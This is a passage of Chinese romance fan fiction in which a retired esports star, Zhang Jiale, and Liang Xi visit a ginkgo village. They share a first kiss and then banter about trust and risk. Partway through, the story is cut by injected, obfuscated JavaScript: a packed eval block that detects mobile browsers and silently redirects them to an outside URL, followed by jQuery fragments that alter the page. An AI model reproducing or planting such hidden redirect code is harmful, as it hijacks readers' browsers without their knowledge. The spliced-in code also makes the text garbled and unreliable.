车子驶离古镇,沿着盘山公路蜿蜒而上,气温下降,路边的植被也染上了更深的秋意。
银杏村坐落在山坳里,远远望去,一片耀眼的金黄。村口那几棵巨大的古银杏树如同金色的华盖。阳光透过稀疏的枝叶洒下来,光影斑驳,美得如同童话世界。虽然不是周末,但慕名而来的游客已然不少,长枪短炮的摄影爱好者随处可见。
张佳乐一下车就“哇”了一声,眼睛发亮:“可以啊!这规模!”
他立刻掏出手机,开始各种角度狂拍,从全景到特写,甚至试图拍下阳光穿过树叶缝隙的光束,奈何技术有限,拍出来的效果总是差强人意。
梁夕也被眼前的景象震撼,她走进那片金色的海洋,落叶在脚下发出清脆的碎裂声。阳光照在身上,暖洋洋的,微微驱散了山间的寒意。
张佳乐拍了一会儿,发现梁夕已经走远,连忙追上去:“你别走那么快!帮我看看,这个构图怎么样?” 他把手机屏幕怼到梁夕面前。
梁夕看了一眼,照片里一棵银杏树占了大半画面,地上厚厚的落叶,但光线处理得不好。
“光太强了,逆光拍试试,单点对焦、背景虚化。或者找阴影里的叶子拍特写。” 她给出了相对张佳乐而言专业一点的建议。
“逆光?”张佳乐挠头,摆弄了几下手机,尝试着拍了几张,果然效果好了不少,金黄的叶子边缘透着光,脉络清晰,“可以啊梁夕!你还懂摄影?”
“比你大概懂一点。”梁夕对摄影也不算在行,但光线和构图的基本美感,多少还是有点概念的。
张佳乐也不气馁,兴致勃勃地继续他的“创作”,时不时拉着梁夕当模特。梁夕起初不是很想配合,后来被他缠得没办法,勉强站在一棵树下让他拍了一张侧影。
“你表情放松点啊,别像被我绑架了似的。”张佳乐在旁边喊。
“绑架你还需要选这么金光闪闪的地方?”梁夕忍不住吐槽。
“那倒是,直接套麻袋扔车里比较符合我的风格。”张佳乐从善如流地接梗,然后看着手机里梁夕那张依旧没什么表情、但背景绚烂无比的照片,嘀咕道,“嗯……人景分离,意境不足,看来模特还需要加强培训。”
梁夕懒得理他,转身继续往前走。
走到村子深处,人渐渐少了。有一片相对僻静的银杏林,落叶积得更厚,几乎没过脚踝。张佳乐忽然孩子气地快跑几步,然后猛地往厚厚的落叶堆里一躺,激起一片金色的叶浪。
“哈哈哈!梁夕快来!超级软!”他躺在落叶里,朝梁夕挥手,脸上是毫无阴霾的灿烂笑容,阳光落在他身上,和周围的金黄几乎融为一体。
梁夕站在几步之外,看着他这副模样。那个在赛场上华丽而凌厉的百花缭乱,那个在洱海边落寞发呆的前大神,此刻像个逃课成功、在田野里撒欢的少年。
这种纯粹而直接的快乐,有种莫名的感染力。
她在不远处坐下,捡起一片完整的银杏叶,微微仰头看着从枝叶缝隙漏下的光,金色落叶映在她黑色的外套和发间,像一幅色调对比强烈的油画。
“别动。”
梁夕听到声音,下意识地维持着那个姿势。
“看看?”张佳乐把手机递过去,屏幕上,是几张她坐在金色落叶中的照片。构图意外地不错,光线柔和,背景虚化的银杏林如同朦胧的金色梦境,而她则是梦境中心那个安静的剪影。
“还行。”她给出中肯的评价,把手机还回去。
“只是还行?”张佳乐挑眉,“我这水平可是在你的指导下突飞猛进!”
“说真的,”张佳乐的语气带着怂恿,“你躺下试试,视角不同,感觉世界都不一样了。”
梁夕犹豫了一下。躺着?在这样人来人往——虽然这片林子人少——的地方?
但对面的人眼神真诚。还有周围金灿灿的落叶,午后暖洋洋的阳光,似乎都构成了某种难以抗拒的氛围。
她纠结了一下,最终妥协,慢慢地向后躺下。背后是落叶温柔的承托,脸上是透过枝叶洒下来的斑驳而温暖的阳光。
“怎么样?”张佳乐的声音从旁边传来,很近。
梁夕没立刻回答。她望着头顶。从这个角度看,世界确实不一样了。高远的蓝天成了画布,金色的银杏枝叶是画框,偶尔有风吹过,几片叶子打着旋儿悠悠落下,像演唱会最后缓缓飘落的金色彩片,带着一种不真实的美感。
所有的声音——远处的游客笑语、近处的风声、自己的心跳——都仿佛变得模糊而遥远。
“……嗯。”她轻轻地应了一声,闭上眼睛,感受着阳光在眼皮上跳跃的温度。
过了一会,她听到张佳乐轻轻叫了她一声,带着一种她之前没听过的微妙张力。
她下意识转过头。视线毫无预兆地,撞进了另一双眼睛里。
张佳乐正侧躺在一旁,用手支着头,静静地看她。他们之间的距离很近,近得能看清彼此瞳孔里倒映出的细碎金光。
他脸上没有往常那样戏谑或夸张的笑容,眼神很沉静,又仿佛有什么东西在深处涌动,专注得让周围的空气都似乎凝滞了。
风吹过,又有几片叶子落下,在他们之间的空隙里打着旋。
梁夕的心脏漏跳了一拍。她应该移开视线的,距离太近,他的眼神太直接。
但不知怎的,她没动,只是无声地看着他。看着这个两周前还是陌生人的男子,看着他眼中那个小小的自己。
谁也没有先移开目光。
落叶的沙沙声,远处模糊的喧嚣,都成了背景音。世界仿佛缩小到只剩这一方金色的落叶地,和彼此近在咫尺的呼吸。
然后,在梁夕自己都没反应过来应该做什么的时候,张佳乐忽然微微探身,凑近。
一个很轻很轻的吻,落在了她的唇上。像一片恰好飘落的叶子不经意地触碰。
梁夕身体僵了一下,睫毛颤动,但她没有躲开。
那个吻一触即分。张佳乐退了回去,依旧侧躺着,看着她,眼神里有一丝紧张,一丝试探,还有某种豁出去似的明亮的光。
他的脸颊在金色光影的映衬下,似乎也染上了一层薄薄的红晕,不知是晒的,还是别的什么原因。
梁夕依旧躺在落叶堆里,保持着那个微微偏头的姿势。她的心跳得有点快,耳根也有些发热,但脸上却努力维持着惯有的平静。
过了一会儿,张佳乐先打破了沉默。他清了清嗓子,声音比平时低了一点:“……吓到了?”
梁夕看他一眼,慢慢地转回头,重新望向头顶那片被金色枝叶切割的蓝天,声音很轻,听不出情绪:“没有。”
没有惊吓,没有愤怒,也没有……明确的抗拒。
张佳乐悬着的心稍微放下了一点,但随即又被另一种更微妙的不确定填满。他也仰面躺下,和梁夕并肩看着同一片天空。
“那个……”他组织着语言,难得地有点词穷,“就是……觉得刚才,气氛挺好的。你躺在那儿,特别好看。”
他顿了顿,又补充道:“像幅画,没忍住。”
这个解释很直白,甚至有点笨拙,但符合张佳乐一贯的风格,没有那么多弯弯绕绕。
梁夕没有回应。她看着一片叶子悠悠荡荡地从高处落下,轨迹飘忽,最终无声地落在她脸颊旁边的落叶上。
她开口,声音依旧平淡,却问了一个让张佳乐心头一跳的问题:“你对谁都这样吗?气氛好就……亲一下?”
“当然不是!”张佳乐一骨碌坐起来,立刻否认,“我是那么随便的人吗?”
他看着她,眼神认真:“我就是……觉得是你。”
“觉得是我?”梁夕重复了一遍,也坐起来,和他对视,目光里带着审视,“我们才认识几天?张佳乐,你知道我是谁吗?”
张佳乐被问得一怔:“你是梁夕啊。”
“除了名字呢?”梁夕继续问,语气没什么起伏,却句句指向现实,“知道我是做什么工作的吗?知道我平时是什么样的人?知道我过去有什么经历?知道我是好人还是坏人?甚至……”
她顿了顿,嘴角勾起一丝淡淡的、近乎嘲讽的弧度,“知道我有没有什么病吗,你就亲?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529153|203660||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
最后这个问题问得太过直白,甚至有些尖锐。张佳乐完全没料到,一时间张口结舌。
“啊?你……你有什么病?” 他是真的有点懵,下意识地反问,眼神里流露出一丝真实的慌乱。
梁夕看着他这幅样子,终于忍不住,翻了个白眼,没好气地说:“我没病。”
她站起身,拍了拍身上的落叶,语气恢复了平时的冷淡,却多了点无可奈何:“我的意思是,百花大神,你有点恋爱脑上头,风险意识也太差了。”
她居高临下地看着张佳乐,话说得半真半假:“万一我就是故意接近你,勾引你,然后找机会把你捆了卖去缅甸搞电诈呢?你这身价,虽然退役了,应该也能值几个钱吧?”
张佳乐坐在地上,仰头看着她。光从她身后照过来,给她周身镀上一层金色的轮廓。语气听着调侃,但带着明显的劝退意味。
但他并没有感到被冒犯,反而笑了起来。他也站起来,眼睛在午后的阳光下亮晶晶的:“行啊,梁夕同学,安全意识挺强,表扬一下。”
“不过,”他拍了拍裤腿,走到她面前,“你要真打算卖我,在洱海边就可以下手了,何必陪我来这儿看黄叶子?还一路给我当摄影指导,听我唠叨?成本有点高啊,不符合经济原则。”
“至于你说的那些……”他耸耸肩,“我确实不知道你具体是干什么的,也不知道你过去所有事。但我知道你这几天跟我一起的时候,虽然话不多,偶尔还挺毒舌,但人不坏,挺靠谱。”
“我人不坏?”梁夕笑了下,没什么温度的那种,“坏人难道会把''我是坏人''几个字写在脑门上吗?”
“之前在普者黑的时候,客栈老板养了只狗,每次你一出现,那只狗就往你旁边蹭。”他表情认真,语气笃定,“招猫猫狗狗喜欢的,都是善良的人。动物不看你说什么,也不看你脑门上写没写字,它们看气味。你气儿正,它们就蹭你,这是铁律。”
梁夕愣了一下,她想说“这算什么铁律”,但话到嘴边,没说出来。
“而且……”他顿了顿,看着她的眼睛,“你眼睛里没那些算计人的东西。”
“至于有没有病……”张佳乐摊手,“我刚退役,医保还挺全的,不怕。”
他这一番话,避重就轻,又带着点无赖式的坦诚,反而让梁夕准备好的更多现实拷问哽在了喉咙里。
她瞪着他,一时竟不知该说他心大,还是说他……其实并不像表面上看起来那么没心没肺。
张佳乐趁她语塞,又往前凑了一小步,声音压低了些,“我也不是对谁都气氛好就亲的。我就是……觉得是你,所以没想那么多。”
他又把这句话重复了一遍,这一次,少了刚才的冲动,多了几分清晰的确认。
梁夕没说话,张佳乐也没再追问。
“走吧,绑匪同志,天快黑了,再不回去,该你担心我把你卖在山里了。”他转身往村口方向走去,走了几步,又回头看她,“愣着干嘛?放心,我比你有职业道德,不干半路加价或者撕票的活儿。”
梁夕哭笑不得,心里的那点复杂情绪,被他这一通插科打诨搅散了大半。
回程的车里,两人又恢复了之前的安静。但这一次的安静,和来时那种各自沉浸心事的安静不同,似乎多了点心照不宣的微妙。
张佳乐偶尔会偷瞄梁夕一眼,也不知道她在想什么。他自己心里其实也没底,那一吻是冲动,后来的对话是本能反应。但他不后悔。
至少,他清楚地表达了自己的感觉。
而她没有拒绝,也没彻底把他推开,还跟着回来了。
这大概……也算是一种进展?
张佳乐这么想着,嘴角又忍不住向上弯起。他看着车窗外掠过的、逐渐被暮色吞噬的山影,觉得这次心血来潮的散心之旅,或许是他退役以来,做得最正确的一个决定。
至于未来?风险?
管他呢。他张佳乐什么时候怕过风险?当年在赛场上,哪一次绝地反击不是冒着巨大的风险?
而现在,他好像找到了值得冒一点险去探索的新副本。